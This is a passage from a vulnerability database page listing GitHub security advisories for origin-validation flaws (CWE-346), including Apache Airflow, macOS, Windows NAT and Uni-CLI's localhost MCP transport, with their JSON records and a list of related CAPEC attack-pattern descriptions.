      "url": "https://www.mozilla.org/security/advisories/mfsa2022-35"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2022-36"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2022-37"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RRM6-2Q2P-CPX5

Vulnerability from github – Published: 2026-04-13 03:30 – Updated: 2026-04-13 03:30
VLAI
Details

A security flaw has been discovered in farion1231 cc-switch up to 3.12.3. Affected by this issue is some unknown functionality of the file src-tauri/src/proxy/server.rs of the component ProxyServer. The manipulation results in permissive cross-domain policy with untrusted domains. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
2.1 (Low)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-6143"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-13T02:16:04Z",
    "severity": "MODERATE"
  },
  "details": "A security flaw has been discovered in farion1231 cc-switch up to 3.12.3. Affected by this issue is some unknown functionality of the file src-tauri/src/proxy/server.rs of the component ProxyServer. The manipulation results in permissive cross-domain policy with untrusted domains. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks.",
  "id": "GHSA-rrm6-2q2p-cpx5",
  "modified": "2026-04-13T03:30:29Z",
  "published": "2026-04-13T03:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6143"
    },
    {
      "type": "WEB",
      "url": "https://github.com/farion1231/cc-switch/issues/1841"
    },
    {
      "type": "WEB",
      "url": "https://github.com/farion1231/cc-switch/issues/1841#issue-4191294952"
    },
    {
      "type": "WEB",
      "url": "https://github.com/farion1231/cc-switch/pull/1915"
    },
    {
      "type": "WEB",
      "url": "https://github.com/farion1231/cc-switch"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/796145"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/357007"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/357007/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-RV5F-CCPM-XJJ4

Vulnerability from github – Published: 2026-03-09 12:31 – Updated: 2026-03-10 01:22
VLAI
Summary
Apache Airflow AWS Auth Manager has Host Header Injection Leading to SAML Authentication Bypass
Details

In AWS Auth manager, the origin of the SAML authentication has been used as provided by the client and not verified against the actual instance URL.  This allowed to gain access to different instances with potentially different access controls by reusing SAML response from other instances.

You should upgrade to 9.22.0 version of provider if you use AWS Auth Manager.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "apache-airflow-providers-amazon"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.22.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25604"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-10T01:22:21Z",
    "nvd_published_at": "2026-03-09T11:16:06Z",
    "severity": "MODERATE"
  },
  "details": "In AWS Auth manager, the origin of the SAML authentication has been used as provided by the client and not verified against the actual instance URL.\u00a0\nThis allowed to gain access to different instances with potentially different access controls by reusing SAML response from other instances.\n\nYou should upgrade to 9.22.0 version of provider if you use AWS Auth Manager.",
  "id": "GHSA-rv5f-ccpm-xjj4",
  "modified": "2026-03-10T01:22:21Z",
  "published": "2026-03-09T12:31:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25604"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/airflow/pull/61368"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/airflow/commit/1a86aec01d827ba8caf41b645db56663a9a61850"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/airflow"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/spwwrsmwxod7fpttcd7n7zs46j839l77"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/03/09/6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache Airflow AWS Auth Manager has Host Header Injection Leading to SAML Authentication Bypass"
}

GHSA-RXV4-3Q25-G562

Vulnerability from github – Published: 2023-05-08 21:31 – Updated: 2024-04-04 03:51
VLAI
Details

This issue was addressed with a new entitlement. This issue is fixed in macOS Ventura 13.3, macOS Monterey 12.6.4, macOS Big Sur 11.7.5. An app may be able to break out of its sandbox

Severity
8.6 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-27944"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-08T20:15:17Z",
    "severity": "HIGH"
  },
  "details": "This issue was addressed with a new entitlement. This issue is fixed in macOS Ventura 13.3, macOS Monterey 12.6.4, macOS Big Sur 11.7.5. An app may be able to break out of its sandbox",
  "id": "GHSA-rxv4-3q25-g562",
  "modified": "2024-04-04T03:51:53Z",
  "published": "2023-05-08T21:31:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27944"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213670"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213675"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213677"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RXW5-JH43-59H9

Vulnerability from github – Published: 2026-08-11 18:30 – Updated: 2026-08-11 18:30
VLAI
Details

Origin validation error in Windows Network Address Translation (NAT) allows an unauthorized attacker to perform spoofing over an adjacent network.

Severity
8.3 (High)
CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-56179"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-11T17:18:04Z",
    "severity": "HIGH"
  },
  "details": "Origin validation error in Windows Network Address Translation (NAT) allows an unauthorized attacker to perform spoofing over an adjacent network.",
  "id": "GHSA-rxw5-jh43-59h9",
  "modified": "2026-08-11T18:30:58Z",
  "published": "2026-08-11T18:30:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56179"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56179"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V27H-98F7-4563

Vulnerability from github – Published: 2026-05-21 15:34 – Updated: 2026-05-21 15:34
VLAI
Details

An origin validation vulnerability in the Apex One/SEP agent could allow a local attacker to escalate privileges on affected installations. This is similar to CVE-2026-45206 but exists in a different process protection communication mechanism.

Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-45207"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-21T14:16:48Z",
    "severity": "HIGH"
  },
  "details": "An origin validation vulnerability in the Apex One/SEP agent could allow a local attacker to escalate privileges on affected installations. This is similar to CVE-2026-45206 but exists in a different process protection communication mechanism.\n\nPlease note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.",
  "id": "GHSA-v27h-98f7-4563",
  "modified": "2026-05-21T15:34:09Z",
  "published": "2026-05-21T15:34:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45207"
    },
    {
      "type": "WEB",
      "url": "https://success.trendmicro.com/en-US/solution/KA-0023430"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V3F4-W7R7-V3HM

Vulnerability from github – Published: 2026-06-19 21:43 – Updated: 2026-06-19 21:43
VLAI
Summary
Uni-CLI: Legacy HTTP MCP transport accepted browser-originated localhost requests
Details

Impact

Uni-CLI versions before 0.225.2 exposed the legacy JSON-RPC-over-HTTP MCP transport on loopback without validating browser Origin headers before routing requests. A malicious web page could send a CORS simple POST request, such as text/plain, to the local /mcp endpoint and deliver a JSON-RPC body to the dispatcher. If the user had started the local MCP HTTP transport, that page could drive tools/call requests against the user's local Uni-CLI server.

The Streamable HTTP transport already enforced this browser-to-localhost boundary. The legacy stateless HTTP path did not, so the two HTTP transports had drifted. This issue is about the browser-to-localhost boundary; it does not change Uni-CLI's local-code-execution trust model.

Patches

Version 0.225.2 fixes the issue by moving the Origin policy into a shared guard and applying it before routing in both HTTP transports. Non-loopback browser Origins are rejected with HTTP 403 before health, OAuth, or /mcp dispatch runs. Non-browser clients that omit Origin remain supported.

Workarounds

Upgrade to 0.225.2 or later. If upgrading is not immediately possible, do not expose the legacy HTTP MCP transport to browser-originated traffic; use the default stdio transport or the Streamable HTTP transport instead.

Credits

Reported privately by Ryan Vonbrubeck (@dodge1218).

Severity
8.6 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@zenalexa/unicli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.225.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-346",
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T21:43:09Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Impact\n\nUni-CLI versions before 0.225.2 exposed the legacy JSON-RPC-over-HTTP MCP transport on loopback without validating browser Origin headers before routing requests. A malicious web page could send a CORS simple POST request, such as text/plain, to the local /mcp endpoint and deliver a JSON-RPC body to the dispatcher. If the user had started the local MCP HTTP transport, that page could drive tools/call requests against the user\u0027s local Uni-CLI server.\n\nThe Streamable HTTP transport already enforced this browser-to-localhost boundary. The legacy stateless HTTP path did not, so the two HTTP transports had drifted. This issue is about the browser-to-localhost boundary; it does not change Uni-CLI\u0027s local-code-execution trust model.\n\n## Patches\n\nVersion 0.225.2 fixes the issue by moving the Origin policy into a shared guard and applying it before routing in both HTTP transports. Non-loopback browser Origins are rejected with HTTP 403 before health, OAuth, or /mcp dispatch runs. Non-browser clients that omit Origin remain supported.\n\n## Workarounds\n\nUpgrade to 0.225.2 or later. If upgrading is not immediately possible, do not expose the legacy HTTP MCP transport to browser-originated traffic; use the default stdio transport or the Streamable HTTP transport instead.\n\n## Credits\n\nReported privately by Ryan Vonbrubeck ([@dodge1218](https://github.com/dodge1218)).",
  "id": "GHSA-v3f4-w7r7-v3hm",
  "modified": "2026-06-19T21:43:09Z",
  "published": "2026-06-19T21:43:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/olo-dot-io/Uni-CLI/security/advisories/GHSA-v3f4-w7r7-v3hm"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/olo-dot-io/Uni-CLI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Uni-CLI: Legacy HTTP MCP transport accepted browser-originated localhost requests"
}

No mitigation information available for this CWE.

CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)

An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.

CAPEC-141: Cache Poisoning

An attacker exploits the functionality of cache technologies to cause specific data to be cached that aids the attackers' objectives. This describes any attack whereby an attacker places incorrect or harmful material in cache. The targeted cache can be an application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache). Until the cache is refreshed, most applications or clients will treat the corrupted cache value as valid. This can lead to a wide range of exploits including redirecting web browsers towards sites that install malware and repeatedly incorrect calculations based on the incorrect value.

CAPEC-142: DNS Cache Poisoning

A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.

CAPEC-160: Exploit Script-Based APIs

Some APIs support scripting instructions as arguments. Methods that take scripted instructions (or references to scripted instructions) can be very flexible and powerful. However, if an attacker can specify the script that serves as input to these methods they can gain access to a great deal of functionality. For example, HTML pages support <script> tags that allow scripting languages to be embedded in the page and then interpreted by the receiving web browser. If the content provider is malicious, these scripts can compromise the client application. Some applications may even execute the scripts under their own identity (rather than the identity of the user providing the script) which can allow attackers to perform activities that would otherwise be denied to them.

CAPEC-21: Exploitation of Trusted Identifiers

An adversary guesses, obtains, or "rides" a trusted identifier (e.g. session ID, resource ID, cookie, etc.) to perform authorized actions under the guise of an authenticated user or service.

CAPEC-384: Application API Message Manipulation via Man-in-the-Middle

An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages. Performing this attack can allow the attacker to gain unauthorized privileges within the application, or conduct attacks such as phishing, deceptive strategies to spread malware, or traditional web-application attacks. The techniques require use of specialized software that allow the attacker to perform adversary-in-the-middle (CAPEC-94) communications between the web browser and the remote system. Despite the use of AiTH software, the attack is actually directed at the server, as the client is one node in a series of content brokers that pass information along to the application framework. Additionally, it is not true "Adversary-in-the-Middle" attack at the network layer, but an application-layer attack the root cause of which is the master applications trust in the integrity of code supplied by the client.

CAPEC-385: Transaction or Event Tampering via Application API Manipulation

An attacker hosts or joins an event or transaction within an application framework in order to change the content of messages or items that are being exchanged. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, substitute one item or another, spoof an existing item and conduct a false exchange, or otherwise change the amounts or identity of what is being exchanged. The techniques require use of specialized software that allow the attacker to man-in-the-middle communications between the web browser and the remote system in order to change the content of various application elements. Often, items exchanged in game can be monetized via sales for coin, virtual dollars, etc. The purpose of the attack is for the attack to scam the victim by trapping the data packets involved the exchange and altering the integrity of the transfer process.

CAPEC-386: Application API Navigation Remapping

An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of links/buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains links/buttons that point to an attacker controlled destination. Some applications make navigation remapping more difficult to detect because the actual HREF values of images, profile elements, and links/buttons are masked. One example would be to place an image in a user's photo gallery that when clicked upon redirected the user to an off-site location. Also, traditional web vulnerabilities (such as CSRF) can be constructed with remapped buttons or links. In some cases navigation remapping can be used for Phishing attacks or even means to artificially boost the page view, user site reputation, or click-fraud.

CAPEC-387: Navigation Remapping To Propagate Malicious Content

An adversary manipulates either egress or ingress data from a client within an application framework in order to change the content of messages and thereby circumvent the expected application logic.

CAPEC-388: Application API Button Hijacking

An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains buttons that point to an attacker controlled destination.

CAPEC-510: SaaS User Request Forgery

An adversary, through a previously installed malicious application, performs malicious actions against a third-party Software as a Service (SaaS) application (also known as a cloud based application) by leveraging the persistent and implicit trust placed on a trusted user's session. This attack is executed after a trusted user is authenticated into a cloud service, "piggy-backing" on the authenticated session, and exploiting the fact that the cloud service believes it is only interacting with the trusted user. If successful, the actions embedded in the malicious application will be processed and accepted by the targeted SaaS application and executed at the trusted user's privilege level.

CAPEC-59: Session Credential Falsification through Prediction

This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

CAPEC-60: Reusing Session IDs (aka Session Replay)

This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.

CAPEC-75: Manipulating Writeable Configuration Files

Generally these are manually edited files that are not in the preview of the system administrators, any ability on the attackers' behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

CAPEC-89: Pharming

A pharming attack occurs when the victim is fooled into entering sensitive data into supposedly trusted locations, such as an online bank site or a trading platform. An attacker can impersonate these supposedly trusted sites and have the victim be directed to their site rather than the originally intended one. Pharming does not require script injection or clicking on malicious links for the attack to succeed.

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